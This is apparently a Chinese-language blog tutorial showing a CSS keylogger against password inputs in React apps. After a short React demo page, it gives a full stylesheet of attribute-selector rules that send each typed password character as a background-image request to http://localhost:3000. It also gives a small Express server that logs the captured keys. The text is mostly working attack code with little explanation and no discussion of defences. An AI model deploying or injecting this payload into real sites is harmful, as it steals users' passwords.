测试案例
只有使用react或类react框架的项目才会导致这个问题的发生
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script> <script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script> <script type="text/babel"> const Ipt = React.createElement(()=>{ const { useState } = window.React; const [state,setState] = useState({val:"123"}) const setInput = (e) => { setState({ val:e.target.value }) } return <input type="password" onChange={setInput} value={state.val}></input> }) ReactDOM.render(Ipt,document.getElementById('app')) </script>
|
在密码框输入内容后,发现内容被映射到了value上:
![](/img/loading.gif)
攻击原理
攻击者会写一个CSS密码的字典表,它会把键盘上的每一个字符收集起来,发送到某个对应的服务器端
字典表:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); } input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); } input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); } input[type="password"][value$="$codeholder_0amp;quot;] { background-image: url("http://localhost:3000/%24"); } input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); } input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); } input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); } input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); } input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); } input[type="password"][value$="*"] { background-image: url("http://localhost:3000/%2A"); } input[type="password"][value$="+"] { background-image: url("http://localhost:3000/%2B"); } input[type="password"][value$=","] { background-image: url("http://localhost:3000/%2C"); } input[type="password"][value$="-"] { background-image: url("http://localhost:3000/-"); } input[type="password"][value$="."] { background-image: url("http://localhost:3000/."); } input[type="password"][value$="/"] { background-image: url("http://localhost:3000/%2F"); } input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); } input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); } input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); } input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); } input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); } input[type="password"][value$="6"] { background-image: url("http://localhost:3000/6"); } input[type="password"][value$="7"] { background-image: url("http://localhost:3000/7"); } input[type="password"][value$="8"] { background-image: url("http://localhost:3000/8"); } input[type="password"][value$="9"] { background-image: url("http://localhost:3000/9"); } input[type="password"][value$=":"] { background-image: url("http://localhost:3000/%3A"); } input[type="password"][value$=";"] { background-image: url("http://localhost:3000/%3B"); } input[type="password"][value$="<"] { background-image: url("http://localhost:3000/%3C"); } input[type="password"][value$="="] { background-image: url("http://localhost:3000/%3D"); } input[type="password"][value$=">"] { background-image: url("http://localhost:3000/%3E"); } input[type="password"][value$="?"] { background-image: url("http://localhost:3000/%3F"); } input[type="password"][value$="@"] { background-image: url("http://localhost:3000/%40"); } input[type="password"][value$="A"] { background-image: url("http://localhost:3000/A"); } input[type="password"][value$="B"] { background-image: url("http://localhost:3000/B"); } input[type="password"][value$="C"] { background-image: url("http://localhost:3000/C"); } input[type="password"][value$="D"] { background-image: url("http://localhost:3000/D"); } input[type="password"][value$="E"] { background-image: url("http://localhost:3000/E"); } input[type="password"][value$="F"] { background-image: url("http://localhost:3000/F"); } input[type="password"][value$="G"] { background-image: url("http://localhost:3000/G"); } input[type="password"][value$="H"] { background-image: url("http://localhost:3000/H"); } input[type="password"][value$="I"] { background-image: url("http://localhost:3000/I"); } input[type="password"][value$="J"] { background-image: url("http://localhost:3000/J"); } input[type="password"][value$="K"] { background-image: url("http://localhost:3000/K"); } input[type="password"][value$="L"] { background-image: url("http://localhost:3000/L"); } input[type="password"][value$="M"] { background-image: url("http://localhost:3000/M"); } input[type="password"][value$="N"] { background-image: url("http://localhost:3000/N"); } input[type="password"][value$="O"] { background-image: url("http://localhost:3000/O"); } input[type="password"][value$="P"] { background-image: url("http://localhost:3000/P"); } input[type="password"][value$="Q"] { background-image: url("http://localhost:3000/Q"); } input[type="password"][value$="R"] { background-image: url("http://localhost:3000/R"); } input[type="password"][value$="S"] { background-image: url("http://localhost:3000/S"); } input[type="password"][value$="T"] { background-image: url("http://localhost:3000/T"); } input[type="password"][value$="U"] { background-image: url("http://localhost:3000/U"); } input[type="password"][value$="V"] { background-image: url("http://localhost:3000/V"); } input[type="password"][value$="W"] { background-image: url("http://localhost:3000/W"); } input[type="password"][value$="X"] { background-image: url("http://localhost:3000/X"); } input[type="password"][value$="Y"] { background-image: url("http://localhost:3000/Y"); } input[type="password"][value$="Z"] { background-image: url("http://localhost:3000/Z"); } input[type="password"][value$="["] { background-image: url("http://localhost:3000/%5B"); } input[type="password"][value$="\\"] { background-image: url("http://localhost:3000/%5C"); } input[type="password"][value$="]"] { background-image: url("http://localhost:3000/%5D"); } input[type="password"][value$="^"] { background-image: url("http://localhost:3000/%5E"); } input[type="password"][value$="_"] { background-image: url("http://localhost:3000/_"); } input[type="password"][value$="`"] { background-image: url("http://localhost:3000/%60"); } input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); } input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); } input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); } input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); } input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); } input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); } input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); } input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); } input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); } input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); } input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); } input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); } input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); } input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); } input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); } input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); } input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); } input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); } input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); } input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); } input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); } input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); } input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); } input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); } input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); } input[type="password"][value$="{"] { background-image: url("http://localhost:3000/%7B"); } input[type="password"][value$="|"] { background-image: url("http://localhost:3000/%7C"); } input[type="password"][value$="\\}"] { background-image: url("http://localhost:3000/%7D"); } input[type="password"][value$="~"] { background-image: url("http://localhost:3000/~"); } input[type="password"][value$=""] { background-image: url("http://localhost:3000/%7F"); }
|
服务端:
1 2 3 4 5 6 7 8 9
| const express = require("express"); const app = express();
app.get("/:key", (req, res) => { process.stdout.write(req.params.key); return res.sendStatus(400); });
app.listen(3000, () => console.log("> Ready to keylog at localhost:3000"));
|
于是,在密码框输入内容时,会发现注入的CSS暗中发送了许多请求
![](/img/loading.gif)
而且攻击者的服务端确实收到了密码
![](/img/loading.gif)